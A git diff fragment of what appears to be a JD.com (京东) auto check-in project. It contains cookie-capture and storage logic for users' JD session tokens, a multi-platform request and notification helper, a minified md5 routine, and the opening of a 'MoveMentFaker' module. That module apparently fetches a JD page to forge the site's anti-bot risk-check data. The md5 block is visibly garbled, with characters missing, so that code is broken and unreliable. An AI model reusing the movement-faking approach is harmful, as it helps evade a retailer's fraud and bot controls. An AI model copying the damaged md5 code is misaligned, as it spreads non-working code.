+ data : ''; + if (cc.code == 0 && cc.data && cc.data.bizCode == 0 && cc.data.result) { + console.log("\n京东-总现金查询成功 " + Details) + merge.TotalMoney.TMoney = cc.data.result.totalMoney || 0 + } else { + console.log("\n京东-总现金查询失败 " + Details) + } + } catch (eor) { + $nobyda.AnError("账户现金-查询", "TotalMoney", eor, response, data) + } finally { + resolve() + } + }) + if (out) setTimeout(resolve, out) + }); +} + +function disable(Val, name, way) { + const read = $nobyda.read("JD_DailyBonusDisables") + const annal = $nobyda.read("JD_Crash_" + Val) + if (annal && way == 1 && boxdis) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + if (read) { + if (read.indexOf(Val) == -1) { + var Crash = $nobyda.write(`${read},${Val}`, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + } else { + var Crash = $nobyda.write(Val, "JD_DailyBonusDisables") + console.log(`\n${name}-触发自动禁用 ‼️`) + merge[Val].notify = `${name}: 崩溃, 触发自动禁用 ‼️` + merge[Val].error = 1 + $nobyda.disable = 1 + } + return true + } else if (way == 1 && boxdis) { + var Crash = $nobyda.write(name, "JD_Crash_" + Val) + } else if (way == 2 && annal) { + var Crash = $nobyda.write("", "JD_Crash_" + Val) + } + if (read && read.indexOf(Val) != -1) { + return true + } else { + return false + } +} + +function Wait(readDelay, ini) { + if (!readDelay || readDelay === '0') return 0 + if (typeof(readDelay) == 'string') { + var readDelay = readDelay.replace(/"|"|'|'/g, ''); //prevent novice + if (readDelay.indexOf('-') == -1) return parseInt(readDelay) || 0; + const raw = readDelay.split("-").map(Number); + const plan = parseInt(Math.random() * (raw[1] - raw[0] + 1) + raw[0], 10); + if (ini) console.log(`\n初始化随机延迟: 最小${raw[0]/1000}秒, 最大${raw[1]/1000}秒`); + // else console.log(`\n预计等待: ${(plan / 1000).toFixed(2)}秒`); + return ini ? readDelay : plan + } else if (typeof(readDelay) == 'number') { + return readDelay > 0 ? readDelay : 0 + } else return 0 +} + +function CookieMove(oldCk1, oldCk2, oldKey1, oldKey2, newKey) { + let update; + const move = (ck, del) => { + console.log(`京东${del}开始迁移!`); + update = CookieUpdate(null, ck).total; + update = $nobyda.write(JSON.stringify(update, null, 2), newKey); + update = $nobyda.write("", del); + } + if (oldCk1) { + const write = move(oldCk1, oldKey1); + } + if (oldCk2) { + const write = move(oldCk2, oldKey2); + } +} + +function checkFormat(value) { //check format and delete duplicates + let n, k, c = {}; + return value.reduce((t, i) => { + k = ((i.cookie || '').match(/(pt_key|pt_pin)=.+?;/g) || []).sort(); + if (k.length == 2) { + if ((n = k[1]) && !c[n]) { + i.userName = i.userName ? i.userName : decodeURIComponent(n.split(/pt_pin=(.+?);/)[1]); + i.cookie = k.join('') + if (i.jrBody && !i.jrBody.includes('reqData=')) { + console.log(`异常钢镚Body已过滤: ${i.jrBody}`) + delete i.jrBody; + } + c[n] = t.push(i); + } + } else { + console.log(`异常京东Cookie已过滤: ${i.cookie}`) + } + return t; + }, []) +} + +function CookieUpdate(oldValue, newValue, path = 'cookie') { + let item, type, name = (oldValue || newValue || '').split(/pt_pin=(.+?);/)[1]; + let total = $nobyda.read('CookiesJD'); + try { + total = checkFormat(JSON.parse(total || '[]')); + } catch (e) { + $nobyda.notify("京东签到", "", "Cookie JSON格式不正确, 即将清空\n可前往日志查看该数据内容!"); + console.log(`京东签到Cookie JSON格式异常: ${e.message||e}\n旧数据内容: ${total}`); + total = []; + } + for (let i = 0; i < total.length; i++) { + if (total[i].cookie && new RegExp(`pt_pin=${name};`).test(total[i].cookie)) { + item = i; + break; + } + } + if (newValue && item !== undefined) { + type = total[item][path] === newValue ? -1 : 2; + total[item][path] = newValue; + item = item + 1; + } else if (newValue && path === 'cookie') { + total.push({ + cookie: newValue + }); + type = 1; + item = total.length; + } + return { + total: checkFormat(total), + type, //-1: same, 1: add, 2:update + item, + name: decodeURIComponent(name) + }; +} + +function GetCookie() { + const req = $request; + if (req.method != 'OPTIONS' && req.headers) { + const CV = (req.headers['Cookie'] || req.headers['cookie'] || ''); + const ckItems = CV.match(/(pt_key|pt_pin)=.+?;/g); + if (/^https:\/\/(me-|)api(\.m|)\.jd\.com\/(client\.|user_new)/.test(req.url)) { + if (ckItems && ckItems.length == 2) { + const value = CookieUpdate(null, ckItems.join('')) + if (value.type !== -1) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `${value.type==2?`更新`:`写入`}京东 [账号${value.item}] Cookie${write?`成功 🎉`:`失败 ‼️`}`) + } else { + console.log(`\n用户名: ${value.name}\n与历史京东 [账号${value.item}] Cookie相同, 跳过写入 ⚠️`) + } + } else { + throw new Error("写入Cookie失败, 关键值缺失\n可能原因: 非网页获取 ‼️"); + } + } else if (/^https:\/\/ms\.jr\.jd\.com\/gw\/generic\/hy\/h5\/m\/appSign\?/.test(req.url) && req.body) { + const value = CookieUpdate(CV, req.body, 'jrBody'); + if (value.type) { + const write = $nobyda.write(JSON.stringify(value.total, null, 2), "CookiesJD") + $nobyda.notify(`用户名: ${value.name}`, ``, `获取京东 [账号${value.item}] 钢镚Body${write?`成功 🎉`:`失败 ‼️`}`) + } else { + throw new Error("写入钢镚Body失败\n未获取该账号Cookie或关键值缺失‼️"); + } + } else if (req.url === 'http://www.apple.com/') { + throw new Error("类型错误, 手动运行请选择上下文环境为Cron ⚠️"); + } + } else if (!req.headers) { + throw new Error("写入Cookie失败, 请检查匹配URL或配置内脚本类型 ⚠️"); + } +} + +// Modified from yichahucha +function nobyda() { + const start = Date.now() + const isRequest = typeof $request != "undefined" + const isSurge = typeof $httpClient != "undefined" + const isQuanX = typeof $task != "undefined" + const isLoon = typeof $loon != "undefined" + const isJSBox = typeof $app != "undefined" && typeof $http != "undefined" + const isNode = typeof require == "function" && !isJSBox; + const NodeSet = 'CookieSet.json' + const node = (() => { + if (isNode) { + const request = require('request'); + const fs = require("fs"); + const path = require("path"); + return ({ + request, + fs, + path + }) + } else { + return (null) + } + })() + const notify = (title, subtitle, message, rawopts) => { + const Opts = (rawopts) => { //Modified from https://github.com/chavyleung/scripts/blob/master/Env.js + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (isLoon) return rawopts + else if (isQuanX) return { + 'open-url': rawopts + } + else if (isSurge) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (isLoon) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (isQuanX) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (isSurge) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + console.log(`${title}\n${subtitle}\n${message}`) + if (isQuanX) $notify(title, subtitle, message, Opts(rawopts)) + if (isSurge) $notification.post(title, subtitle, message, Opts(rawopts)) + if (isJSBox) $push.schedule({ + title: title, + body: subtitle ? subtitle + "\n" + message : message + }) + } + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key) + if (isSurge) return $persistentStore.write(value, key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}md5=A}(this); diff --git a/utils/MoveMentFaker.js b/utils/MoveMentFaker.js new file mode 100644 index 0000000..de7eb4c --- /dev/null +++ b/utils/MoveMentFaker.js @@ -0,0 +1,139 @@ +const https = require('https'); +const fs = require('fs/promises'); +const { R_OK } = require('fs').constants; +const vm = require('vm'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + +const URL = 'https://wbbny.m.jd.com/babelDiy/Zeus/2rtpffK8wqNyPBH6wyUDuBKoAbCt/index.html'; +// const REG_MODULE = /(\d+)\:function\(.*(?=smashUtils\.get_risk_result)/gm; +const SYNTAX_MODULE = '!function(n){var r={};function o(e){if(r[e])'; +const REG_SCRIPT = /